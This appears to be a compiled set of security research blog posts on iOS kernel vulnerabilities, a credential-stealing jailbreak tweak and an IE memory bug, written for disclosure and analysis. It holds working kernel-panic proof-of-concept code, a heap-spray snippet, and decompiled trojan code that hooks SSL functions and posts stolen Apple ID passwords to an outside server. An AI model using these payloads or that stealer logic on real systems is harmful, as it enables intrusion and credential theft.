一个“短命”的iOS内核漏洞

漏洞的生命周期一直是一个很有意思的话题。人们(特别是媒体)通常对两类安全漏洞特别感兴趣。一类是许久不被修复的安全漏洞。这类漏洞通常反映出厂商对安全的漠视,甚至可以激起厂商和安全社区的对立,因此颇具新闻价值。另外一类是存在已久但刚被发现和公开的安全漏洞。这类漏洞一经公布,有时候会跳出很多人来“认货”,高喊自己手中的存货被曝光了。这类漏洞背后隐含的问题是很难估计这些漏洞的影响范围(例如漏洞已经被多少人发现了、已经被多少攻击利用了),因此特别适合各种阴谋论。

在这篇blog中,我们要分享一个非常“短命”的iOS内核漏洞。这个漏洞在iOS 9的测试版中被引入,但是在iOS 9的正式版中被修复,是个典型的存活周期短、影响范围极其有限的漏洞。之所以分享这个漏洞,一是这个漏洞成因非常典型,但反映出苹果对代码安全非常重视从而确保漏洞的及时修复;二是讨论一下简单模糊测试(Fuzz Testing)在挖掘这类漏洞时候的低效问题。

漏洞分析

漏洞存在于名为AppleCredentialManager的内核扩展模块。该模块通过AppleCredentialManagerUserClient与用户态程序通信,AppleCredentialManagerUserClient只有一个externalmethod。这个selector 0的处理函数可以接受任意长度的struct输入。下面简要描述一下漏洞的触发流程:

  • 在处理输入时,AppleCredentialManagerUserClient会首先检查输入数据的前四个字节是否为一个特定的Magic Number 0x53435244,如果不是则不会进一步处理这个输入。
  • AppleCredentialManagerUserClient进一步根据输入数据(下文简称input)的第5个字节判断数据的类型,即根据这个opcode(即input[5])进行数据分发。
  • 在iOS 8.4.1 中,AppleCredentialManagerUserClient接受的opcode范围是从0到10,但是在iOS 9的beta版和正式中,AppleCredentialManagerUserClient接受的opcode范围扩展到从0到19。
  • 在iOS 9 beta 版中处理opcode=11的输入数据时,AppleCredentialManagerUserClient会进一步解析从input+8开始的数据。这段数据的组织结构示意图如下:

|一个以\0结尾的字符串 | 4字节(代表后继数据长度) | 二进制数据 | paramsCount | param_0 | param_1 | …. | param_n|

  • paramsCount代表后继param结构的个数,而每个param结构的大小为12字节。在处理paramsCount和随后的params的时候,AppleCredentialManagerUserClient的处理逻辑如下:
memmove(&paramsCount, input+ offset_of_paramsCount, 4u);
if(paramsCount!=0){
    parametersBuffer = (void *)IOMalloc(12 * paramsCount);
  • 到这里问题已经显现。由于缺乏对 paramsCount的检查,计算内存分配size的时候存在整数溢出:如果设置 paramsCount为超大数值(例如0x80000001),会导致实际上仅分配少量字节。分配内存成功后,AppleCredentialManagerUserClient进一步将input中的param填充到分配的内存里,从而导致堆溢出。
  • 此外,填充内存的循环以paramsCount为边界。通常这样的漏洞会最终引起内核panic,很难利用。但在AppleCredentialManagerUserClient的填充过程中,会判断输入param的有效性。如果发现输入的param无效,则会跳出循环,为漏洞利用创造了条件。

漏洞修复

在iOS 9的正式版中,我们发现该漏洞已经被修复。AppleCredentialManagerUserClient增加了多处检查。

首先,AppleCredentialManagerUserClient增加检查,确保paramsCount不能大于10。

memmove(&paramsCount, input+ offset_of_paramsCount, 4u);
if ( paramsCount >= 0xB )
{
...
}

对于过大的paramsCount,内核会产生下面的assert报警

AssertMacros: paramsCount <= 10 (value: 0x0), file: /BuildRoot/Library/Caches/com.apple.xbs/Sources/AppleCredentialManager/AppleCredentialManager-83.1.1/common/utils.c, line: 440

其次,在内存分配前,AppleCredentialManagerUserClient增加了乘法溢出的判断

if ( paramsCount != 12 * paramsCount / 12 )
{
...
}

简单Fuzzing的实效

对于这种漏洞,简单的主动式Fuzzing(即通过随机构造畸形样本对目标代码测试)会特别低效。只有当样本前四个字节是0x53435244并且第5个字节在0-19范围内,才能够对代码进行有效测试。而随机生成的样本很难满足这种约束。在PC端,大量改进代码Fuzzing的技术已经被提出并应用(例如符号执行),但在iOS内核场景下如何结合高级模糊测试技术还存在很多难题尚待解决。

2015中国互联网安全大会(ISC)演讲&培训

中国互联网安全大会将于2015.9.29-30号于北京国家会议中心举办,盘古团队首席科学家王铁磊作为智能移动终端攻防论坛主席将会分享“iOS安全体系演进过程及漏洞分析”的议题。同时在9.28号的安全训练营中盘古团队首次提供面向安全研究人员的培训,具体培训信息:

培训主题:
iOS用户态漏洞挖掘与利用

培训内容:
首先介绍iOS系统上的各种安全机制,讲解iOS沙盒、地址随机化、代码签名等机制的实现原理和常见对抗策略。随后结合真机操作,进一步介绍越狱环境下的开发调试手段。在漏洞挖掘和利用方面,重点讲解iOS平台上进程间通信漏洞的挖掘及POC分析方法,最后结合一个iOS8.2下的真实漏洞案例讲解如何编写漏洞利用的Exploit。

培训目录:
1. iOS 安全概述
1.1 主要安全机制及演进过程
1.2 与其他系统安全机制比较
2. iOS 越狱环境开发与调试
2.1 XCode开发
2.2 命令行开发
2.3 动态调试
3. Exploit开发基础
3.1 ARM指令简介
3.2 常见漏洞原理分析
4. iOS进程间通信简介
4.1 Mach Message
4.2 XPC
5. iOS进程间通信漏洞挖掘与分析
5.1 挖掘过程
5.2 典型漏洞POC开发
6. 绕过ASLR和DEP: ROP Exploit开发
6.1 查找ROP gadget
6.2 构造ROP链
6.3 基于XPC的heap spraying

学员要求:
– 了解基本的漏洞原理及利用技术
– 有ARM架构的逆向工程经验
– 熟悉常见的漏洞挖掘手段
– 有编码经验

培训环境(学员准备):
– 运行最新OSX 10.10系统的Mac电脑
– 安装XCode 6.4以上版本
– 安装IDA Pro 6.5以上版本

培训环境(培训方提供)
– iOS8.4越狱环境的iPhone4S

同时在培训后的交流环节会讨论iOS越狱的技术手段及我们公布的iOS8.4.1内核漏洞的细节

报名培训请点击

iOS 8.4.1 Kernel Vulnerabilities in AppleHDQGasGaugeControl

When auditing iOS kernel executable, we found that the code quality of com.apple.driver.AppleHDQGasGaugeControl is very bad. In this blog, we will disclose 3 vulnerabilities in this kernel extension on the latest public iOS (version 8.4.1). More importantly, one of these bugs is a perfect heap overflow vulnerability that allows us to defeat all kernel mitigations and gain code execution in the kernel, just by exploiting this single vulnerability.

1st – Stack overflow bug in the function for selector 7

The handler function takes 3 input scalars and 1 output scalar. The following code shows that stack overflow may occur since there’s no restriction for inputScalar[1]. If inputScalar[1] is a very large number, the loop will corrupt the stack.

  int v17; // [sp+0h] [bp-3Ch]@5
  int v18; // [sp+10h] [bp-2Ch]@25

  if ( inputScalar[1] )
  {
    v10 = 0;
    do
    {
      v11 = -64;
      if ( (1 << v10) & inputScalar[0] )
        v11 = -2;
      *((_BYTE *)&v17 + v10++) = v11;       // v17 is on the stack
    }
    while ( inputScalar[1] != v10 );
  }

The POC is extremely simple. We try to open the service at first and call the panic1 function to trigger the stack overflow.

void panic1(io_connect_t connection)
{
    uint64_t inputScalar[3];
    uint64_t outputScalar[1] = {0};
    uint32_t outputCnt = 1;

    inputScalar[0] = 0xF000000;
    inputScalar[1] = 0xF000000;
    inputScalar[2] = 0xF000000;

    IOConnectCallMethod(connection, 7, inputScalar, 3, NULL, 0, outputScalar, &outputCnt, NULL, NULL);
}

int main(int argc, const char * argv[])
{
    CFMutableDictionaryRef matching = IOServiceMatching("AppleHDQGasGaugeControl");
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
    io_connect_t connection;
    kern_return_t kr  = IOServiceOpen(service, mach_task_self(), 0, &connection);
    if(KERN_SUCCESS == kr){
        panic1(connection);
    }
    return 0;
}

PANIC LOG

panic(cpu 1 caller 0x950b8e95): kernel abort type 4: fault_type=0x3, fault_addr=0x93034000
r0:   0x000004ac  r1: 0x00000001  r2: 0x93033b54  r3: 0xffffffc0
r4:   0x0f000000  r5: 0x971ddc00  r6: 0x0f000000  r7: 0x93033b90
r8:   0x93033bd0  r9: 0x145d1371 r10: 0x0f000000 r11: 0x9540a390
r12:  0x00f42400  sp: 0x93033b54  lr: 0x95ccffcb  pc: 0x95ccfeda
cpsr: 0x60000033 fsr: 0x00000807 far: 0x93034000

Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug  5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X
Kernel slide:     0x0000000015000000
Kernel text base: 0x95001000
  Boot    : 0x55eebb5c 0x00000000
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x55eebbf2 0x000413c9

Panicked task 0xb6d20318: 247 pages, 1 threads: pid 180: m1
panicked thread: 0x813f75e0, backtrace: 0x93033820
        0x950b5cc9
        0x950b6061
        0x9501ee2b
        0x950b8e95
        0x950b1800
        0xc0c0c0c0   <------ the stack is corrupted
        0x00000000

2nd – Out-of-bound memory access bug in the function for selector 14

The handler function doesn’t taket any input, instead it will deal with the share memory. As discussed in our Blackhat talk, it is very easy to control the content of the share memory via calling IOConnectMapMemory. By checking the start function we will see how the driver initializes the share memory.

  v8 = (IOBufferMemoryDescriptor *)IOBufferMemoryDescriptor::withOptions(0x10000, 4096, 1);
  *(_DWORD *)(v2 + 100) = v8;
  if ( v8 )
  {
    mapAddr = (void *)(*(_DWORD (__cdecl **)(IOBufferMemoryDescriptor *))(*(_DWORD *)v8 + 220))(v8);
    *(_DWORD *)(v2 + 104) = mapAddr;    // object+104 stores the memory address
    bzero_130(mapAddr, 0x1000u);
    *(_DWORD *)(*(_DWORD *)(v2 + 104) + 20) = 339;  // memory+20 stores the total count

Actually the memory is used to store an array of data which is 12 bytes of each element. So 4KB memory can hold 339 elements. Then let’s further check how the function deals with the share memory.

      mapAddr = *(_DWORD *)(self + 104);    // get memory address of share memory
      // mod 339 to get position for writing
      v9 = sub_80CF4A20(*(_QWORD *)(mapAddr + 16), *(_QWORD *)(mapAddr + 16) >> 32);
      v10 = v9;
      v11 = mapAddr + 12 * v9    // v11 may point outside the memory
      *(_BYTE *)(v11 + 28) = v7;
      v11 += 28;
      *(_BYTE *)(v11 + 3) = BYTE3(v7);
      *(_BYTE *)(v11 + 2) = (unsigned int)v7 >> 16;
      *(_BYTE *)(v11 + 1) = BYTE1(v7);
      *(_QWORD *)(v11 + 4) = *(_QWORD *)(mapAddr + 8); // writing with controlled source

The problem is that the driver trusts the total count number stored in share memory which could be easily modified. So if we are able to know the memory address (which may require some other information leak bugs) we could make v11 points to any 12 bytes aligned kernel address. And then we can modify a qword value to whatever we want. Please check the function panic2 below.

void panic2(io_connect_t connection)
{
    vm_address_t address = 0;
    vm_size_t vmsize = 4096;
    kern_return_t kr = IOConnectMapMemory(connection, 0, mach_task_self(), &address, &vmsize, kIOMapAnywhere);
    if (kr != KERN_SUCCESS || vmsize != 4096) {
        return;
    }

    *(uint32_t *)(address + 16) = 0xAAAAAAA;
    *(uint32_t *)(address + 20) = 0;  // change 339 to 0

    IOConnectCallMethod(connection, 14, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);
}

PANIC LOG

panic(cpu 1 caller 0x908b8e95): kernel abort type 4: fault_type=0x3, fault_addr=0x5f33b014
r0:   0x00000000  r1: 0xdf33b000  r2: 0x5f33aff8  r3: 0x00000000
r4:   0x0aaaaaaa  r5: 0x929abe40  r6: 0x00000001  r7: 0xddf43ba4
r8:   0x0000009e  r9: 0x068e5372 r10: 0x00000000 r11: 0x0000009e
r12:  0x00f42400  sp: 0xddf43b60  lr: 0x00000000  pc: 0x914d04c6
cpsr: 0x80000033 fsr: 0x00000805 far: 0x5f33b014

Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug  5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X
Kernel slide:     0x0000000010800000
Kernel text base: 0x90801000
  Boot    : 0x55eeb77c 0x00000000
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x55eeb8b0 0x00004a05

Note: The offset of share memory above is for 32bit kernel

3rd – Heap overflow bug in the function for selector 12

The input of this handler function is one scalar number and one structure. Also it requires inputScalar[0] <= 3 and (inputStructSize & 7) == 0. Let’s look at the buggy code.

  v5 = a1;
  if ( inputSize )
  {
    v6 = (char *)inputStruct + 4;
    v7 = 0;
    v8 = 0;
    while ( 1 )
    {
      v9 = (int)&v6[8 * v8];
      v10 = *(_BYTE *)(v9 + 3);
      v11 = *(_BYTE *)(v9 + 1);
      v12 = *(_BYTE *)(v9 + 2);
      result = 0xE00002C2;
      v14 = (unsigned __int8)v6[8 * v8] | (v11 << 8) | ((v12 | (v10 << 8)) << 16);
      if ( v14 > 19 )
      {
        if ( v14 != 20 )
          return result;
        v15 = 32;
      }
      else
      {
        v15 = 4;
        if ( (unsigned int)v14 >= 3 && v14 != 10 )
        {
          if ( v14 != -1 )
            return result;
          goto LABEL_12;    // break if -1 is found, at this time v8 < inputSize
        }
      }
      ++v8;
      v7 += v15;
      if ( v8 >= inputSize )
        goto LABEL_12;  // break normally with v8 == inputSize
    }
  }
  v7 = 0;
  v8 = 0;
LABEL_12:
  v16 = (void *)IOMalloc_130(8 * v8);       // memory size is 8*v8
  *(_DWORD *)(v5 + 8) = v16;
  if ( v16 )
  {
    memmove_130(v16, inputStruct, 8 * inputSize);  // heap overflow when v8 < inputSize
    result = 0;
    *(_DWORD *)v5 = v8;
    *(_DWORD *)(v5 + 4) = v7;
  }

Through this code we will see it checks the input structure every 8 bytes and takes -1 as an end. And then it allocates memory according to the size may be smaller than the real input structure size. BUT when copying memory it use the real input structure size again, which causes a heap overflow.

This is really a perfect bug since we can control:
– the size of the heap to be overflown, that means you may choose any kalloc zone to attack
– the size and content of data to overwrite after the heap

Combining with the vm_map_copy heap Fengshui skill, this single bug allows us to defeat all current kernel mitigations. We give a simple POC here.

void panic3(io_connect_t connection)
{
    uint64_t inputScalar[1];
    uint8_t structData[1024];
    uint32_t structSize = 1024;

    inputScalar[0] = 0;
    memset(structData, 0x88, sizeof(structData));
    *(uint32_t *)&structData[4] = 1;
    *(uint32_t *)&structData[4+8] = 0xFFFFFFFF;  // indicate end

    IOConnectCallMethod(connection, 12, inputScalar, 1, structData, structSize, NULL, NULL, NULL, NULL);
}

PANIC LOG

panic(cpu 0 caller 0x95a47d41): "a freed zone element has been modified in zone kalloc.8: expected 0xf66f1cb2 but found 0x88888888, bits changed 0x7ee7943a, at offset 4 of 8 in element 0xbce83c08, cookies 0x7ee7943a 0x7ed803f9"
Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug  5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X
Kernel slide:     0x0000000015a00000
Kernel text base: 0x95a01000
  Boot    : 0x55eeb9ec 0x00000000
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x55eebb50 0x000d2a69

End

Note that these vulnerabilities cannot be triggered inside the container sandbox. And we confirmed that the 2nd and the 3rd bugs are already fixed in iOS 9 beta5.

越狱插件盗取22万个苹果账号样本分析

盗号事件

最近乌云爆出某些越狱插件盗取22万个苹果账号的事件,如果曾经安装过不明源里的插件,建议用户立刻修改密码。

样本分析

下文将分析获取的一个盗号插件样本,该盗号木马将自己捆绑到知名的iFile越狱插件中以达到安装执行的目的。解开deb可以看到跟原版的iFile相比多了一个基于Substrate框架的插件:

$ ls iFile_2.2.0-2-2/data/Library/MobileSubstrate/DynamicLibraries/
iFile.dylib iFile.plist

查看iFile.plist发现iFile.dylib模块被注入了itunesstored这个关键服务:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Filter</key>
    <dict>
        <key>Executables</key>
        <array>
            <string>MobileSafari</string>
            <string>assertiond</string>
            <string>SpringBoard</string>
            <string>itunesstored</string>
        </array>
    </dict>
</dict>
</plist>

使用IDA分析iFile.dylib,hookaid方法调用MSHookFunction函数hook了”/System/Library/Frameworks/Security.framework/Security”框架的SSLWrite和SSLRead函数。

int __fastcall hookaid(int a1)
{
  ...
  NSLog(CFSTR("\n\n\n\n\n\n\n\n====================aid==========\n\n\n\n\n\n\n"));
  g_aid_from = v6;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(
    &v18,
    "/System/Library/Frameworks/Security.framework/Security",
    54);
  v21 = &__gxx_personality_sj0;
  v22 = &GCC_except_table7_0;
  v23 = &savedregs;
  v25 = &v13;
  v24 = ((unsigned int)&stru_DC.sectname[8] | 1) + 40728;
  v20 = 1;
  _Unwind_SjLj_Register(&v19);
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(&v17, "SSLWrite", 8);
  v20 = 2;
  v14 = getAdress(&v18, &v17);
  v20 = 3;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v17);
  v20 = -1;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v18);
  if ( v14 )
  {
    v20 = -1;
    MSHookFunction(v14, (int)aid_r_SSLWrite, (int)&aid_o_SSLWrite, v7);
  }
  v20 = -1;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(
    &v16,
    "/System/Library/Frameworks/Security.framework/Security",
    54);
  v20 = 6;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(&v15, "SSLRead", 7);
  v20 = 7;
  v14 = getAdress(&v16, &v15);
  v20 = 8;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v15);
  v20 = -1;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v16);
  if ( v14 )
  {
    v20 = -1;
    MSHookFunction(v14, (int)aid_r_SSLRead, (int)&aid_o_SSLRead, v8);
  }
  ...
}

当用户输入AppleID和密码登陆账号时,itunesstored服务会通过SSL连接向苹果服务器验证。因此在SSLWrite函数中可以拦截到明文的ID和密码,而在SSLRead中可以通过服务器返回的数据判断登陆是否成功,一旦登陆成功就将记录的ID和密码回传到服务器。

通过调试手段可以确认在SSLWrite中能获取ID和明文密码:

ifiledebug

可以在输出中看到我们测试输入的账号信息:

  • appleId=test@pangu.io
  • password=123456789

实际解析ID和密码并记录是在 aid_r_SSLWrite -> parsexml 函数中,而实际回传盗取的数据是在 aid_r_SSLRead -> sendAid 函数中:

void *sendAid(void)
{
  ...
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::basic_string(&v45, &g_aid_name);
    v51 = 2;
    meEncry(&v46, &v45);
    v51 = 3;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v45);
    v51 = 4;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v33, &v47, "id=");
    v51 = 5;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v34, &v33, &v46);
    v51 = 6;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v35, &v34, "&name=");
    v51 = 7;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v36, &v35, &v46);
    v51 = 8;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v37, &v36, "&pass=");
    v51 = 9;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::basic_string(&v31, &g_aid_pass);
    v51 = 10;
    meEncry(&v32, &v31);
    v51 = 11;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v38, &v37, &v32);
    v51 = 12;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v39, &v38, "&guid=");
    v51 = 13;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v40, &v39, &g_aid_guid);
    v51 = 14;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v41, &v40, "&from=");
    v51 = 15;
    getYinwen(&v30, g_aid_from);
    v51 = 16;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v42, &v41, &v30);
    v51 = 17;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v43, &v42, "&xp_ci=");
    v51 = 18;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v44, &v43, &g_aid_xp_ci);
    v51 = 19;
    ...
    v51 = 35;
    NSLog(CFSTR("g_from:%@ url:%s"));
    v28 = 0;
    v27 = 0;
    v29 = 0;
    v51 = 36;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(
      &v23,
      &v27,
      "POST /aid.php HTTP/1.1\r\n");
    v51 = 37;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(
      &v24,
      &v23,
      "Host: www.wushidou.cn\r\n");
    v51 = 38;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(
      &v25,
      &v24,
      "Content-Type: application/x-www-form-urlencoded\r\n");
    v51 = 39;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(
      &v26,
      &v25,
      "Content-Length: (length)\r\n\r\n");
    v51 = 40;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::operator=(&v27, &v26);
    v51 = 41;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v26);
    v51 = 42;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v25);
    v51 = 43;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v24);
    v51 = 44;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v23);
    v51 = 45;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(&v22, "(length)", 8);
    if ( v47 & 1 )
      v9 = v48;
    else
      v9 = (unsigned int)(unsigned __int8)v47 >> 1;
    v51 = 46;
    replaceRegexInt(&v27, &v22, v9);
    v51 = 47;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v22);
    if ( v47 & 1 )
    {
      v10 = v48;
      v11 = v49;
    }
    else
    {
      v10 = (unsigned int)(unsigned __int8)v47 >> 1;
      v11 = (unsigned int)&v47 | 1;
    }
    v51 = 48;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::append(&v27, v11, v10);
    v21 = 0;
    v51 = 49;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(
      &v20,
      "www.wushidou.cn",
      15);
    v51 = 50;
    v17 = (void *)Http::init(&v21, &v20);
  ...
}

值得注意的是回传过程中会有一个”from”标记,应该是用于记录这个盗号数据的来源。而在我们拿到的这个样本中 g_aid_from=”bamu”,应该是代表刀八木源中的插件。

后话

本次盗号事件再次让大家关心起越狱的安全问题。越狱为了让用户能完全控制自己的手机,势必打破了苹果原有的安全体系,从而降低了黑客开发盗号木马等的成本(对于非越狱的设备,通过利用漏洞的手段也是可以实现盗号木马等攻击,只是成本大大提高)。希望越狱用户在使用手机时,尽量在官方源下载原版插件。

文中分析的关键文件SHA1:

  • 623866a78ac17fab043a28e8dc6dc63b93f691a2 iFile_2.2.0-2-2.deb
  • c798d24673adcdfd1b31f1cf090766adbbe1622b iFile.dylib

CVE-2015-5774

IOHIDResourceDeviceUserClient::_postReportResult堆溢出漏洞

漏洞描述

该内核漏洞被用于太极越狱v2.0,并于iOS 8.4.1版本中被修补。Apple的安全公告中给出的漏洞编号为CVE-2015-5774,但并未提及漏洞的细节。

通过查看IOHIDFamily的代码,检查IOHIDResourceDeviceUserClient的3号处理函数_postReportResult。该函数的入参是2个uint64(分别对应result和token),以及任意长度的一个struct数据(report数据)。


typedef enum {
    kIOHIDResourceUserClientResponseIndexResult = 0,
    kIOHIDResourceUserClientResponseIndexToken,
    kIOHIDResourceUserClientResponseIndexCount
} IOHIDResourceUserClientResponseIndex;

    {   // kIOHIDResourceDeviceUserClientMethodPostReportResult
        (IOExternalMethodAction) &IOHIDResourceDeviceUserClient::_postReportResult,
        kIOHIDResourceUserClientResponseIndexCount, -1, /* 1 scalar input: the result, 1 struct input : the buffer */
        0, 0
    }

_postReportResult函数的用途是,如果有在等待结果的队列(通过token来找到对应的结构),则将输入的struct数据作为结果复制到该队列中,并唤醒等待。

typedef struct {
    IOReturn                ret;
    IOMemoryDescriptor *    descriptor;
} __ReportResult;

IOReturn IOHIDResourceDeviceUserClient::postReportResult(IOExternalMethodArguments * arguments)
{
    OSObject * tokenObj = (OSObject*)arguments->scalarInput[kIOHIDResourceUserClientResponseIndexToken];

    if ( tokenObj && _pending->containsObject(tokenObj) ) {
        OSData * data = OSDynamicCast(OSData, tokenObj);  // 通过输入的token查找对应数据结构
        if ( data ) {
            __ReportResult * pResult = (__ReportResult*)data->getBytesNoCopy();

            if ( pResult->descriptor && arguments->structureInput ) {
                // 向对象写入数据,该写入行为是安全的,会根据buffer的长度判断最多能够写入的数据长度
                pResult->descriptor->writeBytes(0, arguments->structureInput, arguments->structureInputSize);

                IOBufferMemoryDescriptor * buffer = OSDynamicCast(IOBufferMemoryDescriptor, pResult->descriptor);
                if (buffer)
                    // 修改IOBufferMemoryDescriptor的长度,该长度修改函数内部缺少对长度的检查,从而导致可能的溢出!
                    buffer->setLength((vm_size_t)arguments->structureInputSize);

            }
            pResult->ret = (IOReturn)arguments->scalarInput[kIOHIDResourceUserClientResponseIndexResult];
            _commandGate->commandWakeup(data);
        }       
    }
    return kIOReturnSuccess;
}

分析上述代码,首先IOMemoryDescriptor::writeBytes函数是写入安全的,但前提是_length成员不超过buffer的分配长度。而IOBufferMemoryDescriptor::setLength函数的代码是有问题的,release版本中由于去掉了assert判断,当设置的length大于buffer的分配长度时将会使得writeBytes不再安全,从而造成堆溢出(可控制溢出长度及覆盖数据)。

void IOBufferMemoryDescriptor::setLength(vm_size_t length)
{
    assert(length <= _capacity);  // 该行代码在release版本内核中不存在!

    _length = length;
    _ranges.v64->length = length;
}

通过两次调用_postReportResult方法,第一次将memory descriptor对象的长度设置为structureInputSize(超过buffer的分配长度),第二次再调用时即可导致堆溢出。

触发路径

  • 首先要创建一个IOHID的设备,通过”IOHIDResource”服务的0号调用函数来完成,与CVE-2014-4487相同。
  • 创建一个线程并调用IOHIDLibUserClient::_updateElementValues方法,该函数会等待获取report result数据后返回。
    • IOHIDDevice::updateElementValues函数分配IOBufferMemoryDescriptor,并调用getReport等待返回。
    • IOHIDResourceDeviceUserClient::getReportGated等待report数据(最长等待时间_maxClientTimeoutUS)
  • 主线程中两次调用IOHIDResourceDeviceUserClient::_postReportResult方法触发漏洞

Black Hat & XCon

盘古团队于上周8月6日在拉斯维加斯举办的Black Hat USA 2015会议上分享了”Review and Exploit Neglected Attack Surfaces in iOS 8″的议题。该议题分析了iOS系统中一些不被注意的攻击面,针对内核层讨论了IOKit Fuzz的改进,针对用户层则重点介绍了XPC Fuzz。
错过该议题的同学也可以在下周举办的XCon 2015上听到该议题的分享。

Black Hat Slide下载

IE浏览器漏洞一例及未初始化内存占位研究

很久以前我们在检测safari稳定性的时候,偶然遇到了一个IE的问题,但在四月份补丁后,这一崩溃不再重现。通过咨询过IE大牛,我们发现这个问题极有可能是今年三月份补丁中的CVE-2015-1625。这个在MS15-018中被修补了的问题被描述为内存破坏漏洞,影响到全部的IE版本,鉴于我们在微软鸣谢中没有找到对应的报告者,所以这个漏洞有可能归于微软内部发现。
要触发这个IE问题,只需要以下代码:


<html>
 <head>
  <meta http-equiv="x-ua-compatible" content="IE=5" />
  <script>
   function fuzz0(){
    e_2.replaceNode(e_2);
    e_0.replaceNode(e_0);
   }
   function entry(){
    e_0.contentEditable="true";
    e_0.createTextRange().select();
    e_1.insertRow();
   }
  </script>
 </head>
 <body id=e_0 onload=entry() onactivate=fuzz0()>
  <table id=e_1>
   <tr>02</tr>
   <big id=e_2>
    <tbody></tbody>
   </big>
  </table>
 </body>
</html>

挂上调试器打开此页面,崩溃地址和寄存器的数值非常不稳定,但在打开page heap后,崩溃点很明显的指向一个固定地址。以WinXP SP3全补丁虚拟机为例,崩溃时log如下:

eax=c0c0c0c0 ebx=08900ea8 ecx=00000000 edx=c0c0c0c0 esi=09596fb0 edi=0959afa0
eip=3c5a0884 esp=07dfcd60 ebp=07dfcd70 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
mshtml!CTableRow::ComputeFormatsVirtual+0x8f:
3c5a0884 8b7a14          mov     edi,dword ptr [edx+14h] ds:0023:c0c0c0d4=????????

回溯几步可以了解到edx和eax均是一段未初始化内存的值,所以这个漏洞准确的描述应该是内存未初始化问题,而不是描述中笼统的内存破坏漏洞。

在微软的IE历史补丁上,跨域漏洞一度占据主要位置,Active控件也曾大量的出过问题,除去这两类,微软也修补过不少的溢出和一些指针空挂漏洞。到了最近几年,User After Free问题非常多,兼有一些类型混淆的漏洞。但总的来说,内存未初始化漏洞极其稀少,而且有关利用并没有见诸网络,加上传说本次Pwn2Own攻破IE的漏洞就是一个内存未初始化漏洞,所以我们比较感兴趣,并稍微查阅了一些MSDN相关文档。

抛开这个漏洞本身,要精确控制未初始化内存的值,必须保证分配的堆在一个已经释放且未清零的内存。以全补丁XP SP3为例,要达到此目的并不困难,只要以标准的heap spray方法先进性内存分配,然后再清理掉内存即可。如果我们需要大小为0x20字节的内存残像,以下代码即可达到目标。

var i=0;
var vault=new Array();
var str=unescape("%u0c0c%u0c0c");
while (str.length<0xf0) str=str+str;
str=str.substr(0, (0x20-2)/2);
for (i=0;i<1000;i++) {
vault.push(document.createElement("div"));
vault[i].setAttribute("title",str);}
for (i=0;i<1000;i++) vault[i].setAttribute("title","");
